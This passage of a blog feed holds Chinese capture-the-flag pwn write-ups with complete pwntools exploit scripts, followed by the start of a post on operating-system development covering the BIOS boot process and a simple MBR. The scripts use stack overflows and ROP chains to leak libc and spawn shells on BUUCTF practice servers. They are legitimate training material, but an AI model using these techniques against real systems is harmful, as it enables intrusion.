&lt;p&gt;&lt;code&gt;strlen&lt;/code&gt; 检测到 &lt;code&gt;\x00&lt;/code&gt; 就结束，所以先通过 &lt;code&gt;\x00&lt;/code&gt; 绕过 &lt;code&gt;strncmp&lt;/code&gt;。之后将 &lt;code&gt;buf[7]&lt;/code&gt; 处的一字节有符号整数转换为无符号数返回，如果这里是 &lt;code&gt;-1&lt;/code&gt; 就会返回很大的数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl sub_804871F(int buffer)
{
  size_t len; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, &quot;%ld&quot;, buffer);
  v5 = read(0, buf, 32u);
  buf[v5 - 1] = 0;
  len = strlen(buf);
  if ( strncmp(buf, s, len) )
    exit(0);
  write(1, &quot;Correct\n&quot;, 8u);
  return (unsigned __int8)buf[7];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sub_80487D0&lt;/code&gt; 将上一个函数的返回值作为参数，如果等于 &lt;code&gt;127&lt;/code&gt; 就执行第一个 &lt;code&gt;read&lt;/code&gt;，否则执行第二个 &lt;code&gt;read&lt;/code&gt;。由于我们在 &lt;code&gt;buf[7]&lt;/code&gt; 处保存 &lt;code&gt;-1&lt;/code&gt;，会返回 &lt;code&gt;0xffffffff&lt;/code&gt;，所以我们获得了一个很大的 BOF 空间。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __cdecl sub_80487D0(char a1)
{
  _BYTE buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 200u);
  else
    return read(0, buf, a1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思路是绕过 &lt;code&gt;sub_804871F&lt;/code&gt; 的 &lt;code&gt;strncmp&lt;/code&gt; 后，拿到一个很大的栈溢出，通过 &lt;code&gt;sub_80487D0&lt;/code&gt; 的 &lt;code&gt;read(0, buf, a1)&lt;/code&gt; 构造 ROP，利用 &lt;code&gt;puts&lt;/code&gt; 泄漏 libc，&lt;code&gt;puts&lt;/code&gt; 返回到 &lt;code&gt;main&lt;/code&gt; 触发二次输入，同理先绕检测，然后构造 getshell 的 ROP Chain.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import ELF, args, context, flat, p32, process, remote, u32

FILE = &quot;./challenge&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 26812

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
libc = ELF(&quot;./libc-2.23.so&quot;)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    payload_1 = b&quot;\x00&quot; * 0x7 + b&quot;\xff&quot; + b&quot;\x00&quot;
    target.send(payload_1)
    target.recvuntil(b&quot;\x0a&quot;)
    payload = flat(b&quot;A&quot; * 0xEB, elf.plt[&quot;puts&quot;], p32(elf.sym[&quot;main&quot;]), elf.got[&quot;puts&quot;])
    target.send(payload)
    libc.address = u32(target.recv(0x4)) - libc.sym[&quot;puts&quot;]

    target.send(payload_1)
    target.recvuntil(b&quot;\x0a&quot;)
    payload = flat(b&quot;A&quot; * 0xEB, libc.sym[&quot;system&quot;], 0, next(libc.search(b&quot;/bin/sh&quot;)))
    target.send(payload)
    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ciscn_2019_n_5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;一个保护都没开，本来想打 ret2shellcode，但是奈何没给 libc，啥也不是！&lt;/p&gt;
&lt;p&gt;无奈，只得使用好久没用过的 &lt;code&gt;LibcSearcher&lt;/code&gt; 了 lol&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
    u64,
)

from LibcSearcher.LibcSearcher import LibcSearcher

FILE = &quot;./ciscn_2019_n_5&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 26903

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input(&quot;DEBUG&quot;)

    target.sendlineafter(b&quot;name&quot;, b&quot;&quot;)
    payload = flat(
        b&quot;A&quot; * 0x28,
        rop.rdi.address,
        elf.got[&quot;puts&quot;],
        elf.plt[&quot;puts&quot;],
        elf.sym[&quot;main&quot;],
    )
    target.sendlineafter(b&quot;me?&quot;, payload)

    target.recvline()
    leaked_puts = u64(target.recv(0x6).strip().ljust(0x8, b&quot;\x00&quot;))
    libc = LibcSearcher(&quot;puts&quot;, leaked_puts)
    libc_base = leaked_puts - libc.dump(&quot;puts&quot;)

    payload = flat(
        b&quot;A&quot; * 0x28,
        rop.rdi.address,
        libc_base + libc.dump(&quot;str_bin_sh&quot;),
        rop.ret.address,
        libc_base + libc.dump(&quot;system&quot;),
        libc_base + libc.dump(&quot;exit&quot;),
    )
    target.sendlineafter(b&quot;name&quot;, b&quot;&quot;)
    target.sendlineafter(b&quot;me?&quot;, payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;not_the_same_3dsctf_2016&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;BOF，ROP Chain，有后门函数 &lt;code&gt;get_secret&lt;/code&gt;，会将 flag 写入 bss，我们通过 write 输出 bss 内容即可。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    ROP,
    args,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

FILE = &quot;./not_the_same_3dsctf_2016&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 25163

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary
rop = ROP(elf)


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    # raw_input(&quot;DEBUG&quot;)
    payload = flat(
        b&quot;A&quot; * 0x2D,
        elf.sym[&quot;get_secret&quot;],
        elf.sym[&quot;write&quot;],
        elf.sym[&quot;exit&quot;],
        constants.STDOUT_FILENO,
        elf.bss() + 0xAAD,
        1337,
    )
    target.sendline(payload)

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ciscn_2019_en_2&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;不理解，这题和 &lt;a href=&quot;#ciscn_2019_c_1&quot;&gt;ciscn_2019_c_1&lt;/a&gt; 不是一样的吗？&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Same as &lt;a href=&quot;#ciscn_2019_c_1&quot;&gt;ciscn_2019_c_1&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;ciscn_2019_ne_5&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;li&gt;Points: 1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  _BYTE v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &amp;amp;argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts(&quot;Welcome to use LFS.&quot;);
  printf(&quot;Please input admin password:&quot;);
  __isoc99_scanf(&quot;%100s&quot;, s1);
  if ( strcmp(s1, &quot;administrator&quot;) )
  {
    puts(&quot;Password Error!&quot;);
    exit(0);
  }
  puts(&quot;Welcome!&quot;);
  while ( 1 )
  {
    puts(&quot;Input your operation:&quot;);
    puts(&quot;1.Add a log.&quot;);
    puts(&quot;2.Display all logs.&quot;);
    puts(&quot;3.Print all logs.&quot;);
    printf(&quot;0.Exit\n:&quot;);
    __isoc99_scanf(&quot;%d&quot;, &amp;amp;v4);
    switch ( v4 )
    {
      case 0:
        exit(0);
        return result;
      case 1:
        AddLog((int)src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bypass password 没啥好说的，main 函数中 &lt;code&gt;__isoc99_scanf(&quot;%100s&quot;, s1);&lt;/code&gt; 虽然可以破坏一些栈布局，但是程序下面有个 while 死循环，以致 main 不会返回，所以肯定不能通过这个输入构造 ROP Chain.&lt;/p&gt;
&lt;p&gt;继续往下看，while 里面的 scanf 也没有漏洞，不过发现一个隐藏选项 4。一个一个看，&lt;code&gt;AddLog&lt;/code&gt; 里面有一个 scanf，接收 128 字节，可以破坏栈布局，但是也不能用它构造 ROP Chain，因为&lt;code&gt;AddLog&lt;/code&gt; 是返回读取到的字节数，返回后又是一轮循环。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl AddLog(int a1)
{
  printf(&quot;Please input new log info:&quot;);
  return __isoc99_scanf(&quot;%128s&quot;, a1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Display&lt;/code&gt; 可以泄漏栈内容，或许有用，先放一边。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Print&lt;/code&gt; 里面调用了一个 &lt;code&gt;system&lt;/code&gt;，说明我们可以直接用 &lt;code&gt;system@plt&lt;/code&gt; 调用这个函数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GetFlag&lt;/code&gt; 将我们输入 buffer 的内容直接复制到 &lt;code&gt;dest&lt;/code&gt;，由于这个 &lt;code&gt;dest&lt;/code&gt; 是局部数组，只有 4 字节空间，&lt;code&gt;strcpy&lt;/code&gt; 没有安全检查，我们可以利用这一点篡改 &lt;code&gt;GetFlag&lt;/code&gt; 栈帧的返回地址为 ROP Chain.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  _BYTE v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf(&quot;The flag is your log:%s\n&quot;, dest);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import (
    args,
    context,
    fit,
    process,
    raw_input,
    remote,
)

FILE = &quot;./ciscn_2019_ne_5&quot;
HOST, PORT = &quot;node5.buuoj.cn&quot;, 27219

context(log_level=&quot;debug&quot;, binary=FILE, terminal=&quot;kitty&quot;)

elf = context.binary


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    target.sendlineafter(b&quot;password:&quot;, b&quot;administrator&quot;)

    payload = fit(
        {
            0x4C: elf.plt[&quot;system&quot;],
            0x50: elf.plt[&quot;exit&quot;],
            0x54: next(elf.search(b&quot;sh&quot;)),
        }
    )
    # raw_input(&quot;DEBUG&quot;)
    target.sendlineafter(b&quot;Exit&quot;, str(1).encode())
    target.sendlineafter(b&quot;info:&quot;, payload)
    target.sendlineafter(b&quot;Exit&quot;, str(4).encode())

    target.interactive()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Exordium Operating System Development Notes</title><link>https://cubeyond.net/posts/projects/exordium-operation-system/</link><guid isPermaLink="true">https://cubeyond.net/posts/projects/exordium-operation-system/</guid><description>Exordium operating system development notes. Mainly based on the book《操作系统真象还原》</description><pubDate>Sun, 09 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import GithubCard from &quot;@components/misc/GithubCard.astro&quot;;&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;为了提升开发水平和工程能力，同时也是为了深入学习 C 语言……我再次拾起了这项艰巨却让我无比向往的项目&amp;lt;s&amp;gt;&lt;em&gt;（种子早在两年前就种下了，现在才开始生长，请叫我摆烂 Master）&lt;/em&gt;&amp;lt;/s&amp;gt;。&lt;/p&gt;
&lt;p&gt;话说今年（确切的说应该是截至九月中旬）我主要功夫都会倾注在学业中，这意味着，我能投身于技术探索的时间将变得稀缺（这怎么行，我怎么能原地踏步！所以，即便当前以学业为主，我也打算在这段时间顺便积淀一下自己的硬实力。待到回归之日，又是一个更哇塞的自己～）……&lt;/p&gt;
&lt;p&gt;借口？或许吧……刚开学前两周经受了一个「小小的」挫折，让我有「一点点」崩。唉，说多了都是泪……没死就好 LOL&lt;/p&gt;
&lt;p&gt;主要参考书籍是**&lt;em&gt;《操作系统真象还原》&lt;/em&gt;**，这本书体量和 &lt;strong&gt;&lt;em&gt;CSAPP&lt;/em&gt;&lt;/strong&gt; 有一拼……&lt;/p&gt;
&lt;p&gt;记录一下，我是从 &lt;em&gt;03/09/2025&lt;/em&gt; 正式开始的，&amp;lt;s&amp;gt;虽然还没写下任何一行代码，但准确来说就是这个点……&amp;lt;/s&amp;gt;只是想在最后看看什么时候结束，届时可能会小小的感慨一下下吧。&lt;/p&gt;
&lt;p&gt;&amp;lt;GithubCard repo=&quot;CuB3y0nd/Exordium&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;h1&gt;计算机启动过程&lt;/h1&gt;
&lt;h2&gt;实模式下的 1MB 内存布局&lt;/h2&gt;
&lt;p&gt;为何是 1MB？这得追溯到 Intel 8086 的时代了。那时候 Intel 8086 只有 20 根地址总线，故其只能访问 $$2^{20} =1048576$$ 字节，也就是 1MB 的内存空间，而这 1MB 又被拆为多个部分分别用于不同的用途。&lt;/p&gt;
&lt;p&gt;实模式下的内存布局如下：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;起始&lt;/th&gt;
&lt;th&gt;结束&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0xFFFF0&lt;/td&gt;
&lt;td&gt;0xFFFFF&lt;/td&gt;
&lt;td&gt;16B&lt;/td&gt;
&lt;td&gt;BIOS 入口地址，此地址也属于 BIOS 代码，同样属于顶部的 64KB 字节。只是为了强调其入口地址才单独贴出来。此处 16 字节的内容是跳转指令 jmp F000:E05B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xF0000&lt;/td&gt;
&lt;td&gt;0xFFFEF&lt;/td&gt;
&lt;td&gt;64KB-16B&lt;/td&gt;
&lt;td&gt;系统 BIOS 范围是 F0000~FFFFF 共 64B，为了说明入口地址，将最上面的 16 字节从此处去掉了，所以此处终止地址是 0xFFFEF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xC8000&lt;/td&gt;
&lt;td&gt;0xEFFFF&lt;/td&gt;
&lt;td&gt;160KB&lt;/td&gt;
&lt;td&gt;映射硬件适配器的 ROM 或内存映射式 I/O&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xC0000&lt;/td&gt;
&lt;td&gt;0xC7FFF&lt;/td&gt;
&lt;td&gt;32KB&lt;/td&gt;
&lt;td&gt;显示适配器 BIOS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xB8000&lt;/td&gt;
&lt;td&gt;0xBFFFF&lt;/td&gt;
&lt;td&gt;32KB&lt;/td&gt;
&lt;td&gt;用于文本模式显示适配器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xB0000&lt;/td&gt;
&lt;td&gt;0xB7FFF&lt;/td&gt;
&lt;td&gt;32KB&lt;/td&gt;
&lt;td&gt;用于黑白显示适配器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0xA0000&lt;/td&gt;
&lt;td&gt;0xAFFFF&lt;/td&gt;
&lt;td&gt;64KB&lt;/td&gt;
&lt;td&gt;用于彩色显示适配器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x9FC00&lt;/td&gt;
&lt;td&gt;0x9FFFF&lt;/td&gt;
&lt;td&gt;1KB&lt;/td&gt;
&lt;td&gt;EDBA (Extended BIOS Data Area)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x7E00&lt;/td&gt;
&lt;td&gt;0x9FBFF&lt;/td&gt;
&lt;td&gt;622080B，约 608KB&lt;/td&gt;
&lt;td&gt;可用区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x7C00&lt;/td&gt;
&lt;td&gt;0x7DFF&lt;/td&gt;
&lt;td&gt;512B&lt;/td&gt;
&lt;td&gt;MBR 被 BIOS 加载到此处&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x500&lt;/td&gt;
&lt;td&gt;0x7BFF&lt;/td&gt;
&lt;td&gt;30464B，约 30KB&lt;/td&gt;
&lt;td&gt;可用区域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x400&lt;/td&gt;
&lt;td&gt;0x4FF&lt;/td&gt;
&lt;td&gt;256B&lt;/td&gt;
&lt;td&gt;BIOS Data Area&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x00&lt;/td&gt;
&lt;td&gt;0x3FF&lt;/td&gt;
&lt;td&gt;1KB&lt;/td&gt;
&lt;td&gt;Interrupt Vector Table&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;计算机的启动过程&lt;/h2&gt;
&lt;p&gt;当按下主机上的 Power 键后，CPU 的 &lt;code&gt;CS:IP&lt;/code&gt; 被强制初始化为 &lt;code&gt;0xF000:0xFFF0&lt;/code&gt;. 由于刚开机时处于实模式，故段部件将段地址左移四位再加上偏移地址，得到物理地址 0xFFFF0，也就是是 &lt;code&gt;BIOS (Basic Input/Output System)&lt;/code&gt; 的入口地址。所以第一个被运行的软件是 BIOS. BIOS 主要负责通过硬件提供的基本调用来检测、初始化硬件，除此之外，它还建立了最基本的 &lt;code&gt;中断向量表 (Interrupt Vector Table, IVT)&lt;/code&gt;，之所以说是最基本，是因为 BIOS 就 64KB 大，不可能把所有的硬件 I/O 操作都实现得面面俱到，并且也没必要实现那么多，因为这是在实模式，对硬件支持的再丰富也白搭，精彩的世界是从进入保护模式后才开始的，所以它只挑了一些最重要的、保证计算机能运行的那些最基本的硬件 I/O 操作实现。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
因为 BIOS 是计算机上第一个运行的软件，所以它不可能自己加载自己，而是由只读存储器 ROM 这个硬件加载的。&lt;/p&gt;
&lt;p&gt;BIOS 存在于主板上的 ROM 中，硬件将这个 ROM 的地址映射到低端 1MB 内存的顶部，也就是 0xF0000~0xFFFFF 处。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因为实模式下只能访问到 1MB 的空间，而 0xFFFF0 距 1MB 只剩可怜的 16 字节了，在这么小的空间里我们着实做不了太多操作，故在此放的是一条跳转指令，通过 &lt;code&gt;jmp F000:E05B&lt;/code&gt; 跳转到 0xFE05B 处继续执行，也就是说真正的 BIOS 代码是从 0xFE05B 开始的。&lt;/p&gt;
&lt;p&gt;接下来 BIOS 便马不停蹄地检测内存、显卡等外设信息，当所有检测通过，并初始化好硬件后，便在 0x00~0x03FF 处建立中断向量表，并向其中填写中断例程。&lt;/p&gt;
&lt;p&gt;计算机执行到这份上，BIOS 也即将完成它这短暂的一生的使命了，完成之后，它又将沉沉睡去。想到这里，心里不免一丝忧伤，甚至有些许挽留它的想法。可是，这就是它的使命，它生来被设计成这样，它这短暂的一生已经为后人创造了足够的精彩。何况，在下一次开机时，BIOS 还会重复这段轮回，它并没有消失……多么伟大啊！好了，让伤感停止，让梦想前行！&lt;/p&gt;
&lt;p&gt;BIOS 的最后一项工作是去校验启动盘中位于 &lt;code&gt;0 盘 0 道 1 扇区&lt;/code&gt; 的内容。如果此扇区末尾的两个字节分别为 &lt;code&gt;0x55&lt;/code&gt; 和 &lt;code&gt;0xAA&lt;/code&gt;，BIOS 便认为此扇区中存在可执行程序，也就是 &lt;code&gt;主引导记录 MBR (Main Boot Record)&lt;/code&gt;，随即将其加载到 &lt;code&gt;0x7c00&lt;/code&gt; 处，并跳转到该地址继续执行。&lt;/p&gt;
&lt;p&gt;为什么一定是 0 盘 0 道 1 扇区，而不是其它地方？对于这个问题，简单来说就是为了方便 BIOS 找到 MBR。想象一下，如果不存在这一规定，BIOS 就只得将所有检测到的存储设备上的的每一个存储单位都翻一遍，挨个对比，如果发现该存储单位的最后两字节为 0x55 和 0xAA，就认为它是 MBR. 几经花开花落，找到 MBR 的那一刻，BIOS 满脸疲惫地说：「你是我找了好久的那个人。」MBR 抬起经不起岁月等待的脸：「难得你还认得我，我等你等的花儿都谢了。」其实 BIOS 的心声是：「看我手忙脚乱的样子，你们这是要闹哪样啊。就这么 512 字节的内容，害我找遍全世界，我们这是在跑接力赛啊，下一棒的选手我都不知道在哪里……以后让它站在固定的位置等我！」&lt;/p&gt;
&lt;p&gt;由于 0 盘 0 道 1 扇区是磁盘的第一个扇区，MBR 选择了这个离 BIOS 最近的位置站好了，从此以后再也不用担心被 BIOS 骂了。&lt;/p&gt;
&lt;p&gt;总之，计算机中到处都有写死的东西，各种各样的魔数层出不穷，0xAA55 也是其中之一，这个就不解释了，当成规定/协议理解吧……&lt;/p&gt;
&lt;p&gt;至于 0x7c00 是怎么来的，倒是可以解释一下。0x7c00 最早出现于 1981 年 8 月，IBM 公司推出的个人计算机 PC 5150 的 ROM BIOS 的 INT 19H 中断处理程序中。PC 5150 是世界上第一台个人计算机，它就是现代 x86 个人计算机兼容机的祖先。&lt;/p&gt;
&lt;p&gt;个人计算机肯定要运行操作系统，在这台计算机上，运行的操作系统是 DOS 1.0。不清楚此系统要求的最小内存是 16KB 还是 32KB，反正 PC 5150 BIOS 研发团队就假定其是 32KB 的，所以此 BIOS 是按照最小内存 32KB 研发的。&lt;/p&gt;
&lt;p&gt;MBR 不是随便放在哪里都行的，首先它不能覆盖已有数据，其次，它还不能过早的被其它数据覆盖。MBR 的任务是加载某个程序（一般是内核加载器，很少有直接加载内核的）到指定位置，并将控制权交给它。之后，MBR 就没用了，被覆盖也没关系（我指的覆盖是覆盖 0x7c00 处的指令，因为 MBR 本身也是被加载到那个位置执行的，而非硬盘上所保存的 MBR，覆盖了硬盘上保存的 MBR 下次就不能启动了），但在此之前，得确保它的完整性。&lt;/p&gt;
&lt;p&gt;重现一下当时的内存使用情况：&lt;/p&gt;
&lt;p&gt;8086 CPU 要求 0x00~0x03FF 存放中断向量表，所以此处就不能动了，再选新的地方看看。按 DOS 1.0 要求的最小内存 32KB 来说，MBR 希望给人家尽可能多的预留空间，这样也是保全自己的作法，免得被过早覆盖。所以 MBR 只能放在 32KB 的末尾。&lt;/p&gt;
&lt;p&gt;MBR 本身也是程序，是程序就要用到栈，栈也是在内存中的，虽然 MBR 本身只有 512 字节，但还要为其所用的栈分配点空间，所以其实际所用的内存空间要大于 512 字节，估计 1KB 内存够用了。&lt;/p&gt;
&lt;p&gt;结合以上几点，选择 32KB 中的最后 1KB 最为合适。32KB 转换为十六进制是 0x8000，减去 1KB (0x400) 的话，正好等于 0x7c00。这就是备受质疑的 0x7c00 的由来！&lt;/p&gt;
&lt;h3&gt;实现一个简单的 MBR&lt;/h3&gt;
&lt;p&gt;最后，让我们写一个简单的程序来验证一下我们所学到的理论知识的正确性。&lt;/p&gt;
&lt;p&gt;项目结构为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
├── boot
│   └── mbr.s
└── Makefile
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;section mbr vstart=0x7c00
  mov ax, 0x0600 ; clear screen
  mov bh, 0x07   ; color attribute 0x07
  xor cx, cx     ; upper left corner
  mov dx, 0x184f ; bottom right corner
  int 0x10

  mov ah, 0x03   ; get cursor position
  xor bh, bh     ; video page 0
  int 0x10

  mov cx, 0x03   ; length of string
  mov ax, 0x1301 ; write string, move cursor
  mov bx, 0x07   ; video page 0, color attribute 0x07
  lea bp, [msg]  ; ES:BP is the pointer to string
  int 0x10

  jmp $

  msg db &quot;MBR&quot;

  times 510-($-$$) db 0
boot_flag:
  dw 0xAA55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上，有关 &lt;code&gt;int 0x10&lt;/code&gt; 视频中断的用法可以参考 &lt;a href=&quot;https://stanislavs.org/helppc/int_10.html&quot;&gt;INT 10 - Video BIOS Services&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;这里我不得不吐槽一句：AT&amp;amp;T 语法珍尼 🐴 屎……&lt;/p&gt;
&lt;p&gt;更有趣的是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Intel Syntax Support&lt;/p&gt;
&lt;p&gt;Up until v2.10 of binutils, GAS supported only the AT&amp;amp;T syntax for x86 and x86-64, which differs significantly from the Intel syntax used by virtually every other assembler. Today, GAS supports both syntax sets (.intel_syntax and the default .att_syntax), and even allows disabling the otherwise mandatory operand prefixes &apos;%&apos; or &apos;$&apos; (..._syntax noprefix). There are some pitfalls - several FP opcodes suffer from a reverse operand ordering that is bound to stay in there for compatibility reasons, .intel_syntax generates less optimized opcodes on occasion (try mov&apos;ing to %si...).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;It is generally discouraged to use the support for Intel Syntax because it can subtly and surprisingly different than the real Intel Syntax found in other assemblers.&lt;/code&gt; A different assembler should be considered if Intel Syntax is desired.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可知我有多无语……我反复用 GAS 重构 nasm，用 nasm 重构 GAS……最终，也还是没有活下来，我还是被这狗屎语法打倒了。学到了：珍惜生命，远离 GAS……不过倔强的精神告诉我，我以后大概还是会用 GAS 来重构，至于原因……Linux 内核用的就是这个……什么是自虐？我这就是……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AS = nasm
DD = dd bs=512 conv=notrunc
IMG = exordium.img
IMG_SIZE = 60M

all: boot/mbr create_img write_mbr

boot/mbr: boot/mbr.asm
 $(AS) -I boot -o $@ $&amp;lt;

create_img:
 qemu-img create -f raw $(IMG) $(IMG_SIZE)

write_mbr: boot/mbr
 $(DD) if=$&amp;lt; of=$(IMG) count=1

clean:
 rm -rf boot/mbr
 rm -f $(IMG)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;code&gt;make clean &amp;amp;&amp;amp; make&lt;/code&gt; 编译上述程序，并生成系统镜像。&lt;/p&gt;
&lt;p&gt;之后，使用这个 &lt;code&gt;start.sh&lt;/code&gt; 来模拟：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

IMG=&quot;exordium.img&quot;

qemu-system-i386 -drive file=$IMG,format=raw,if=ide,index=0 -s -S -monitor stdio
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用下面这个 &lt;code&gt;debug.sh&lt;/code&gt; 开启 gdb 以调试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh

gdb -ix gdb/.gdbinit \
  -ex &apos;set tdesc filename gdb/target.xml&apos; \
  -ex &apos;target remote localhost:1234&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们 gdb 中直接 &lt;code&gt;(c) continue&lt;/code&gt;，看到 MBR 三个大字被输出在屏幕上，就意味着我们成功地向 MBR 迈出了第一步，壮举！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
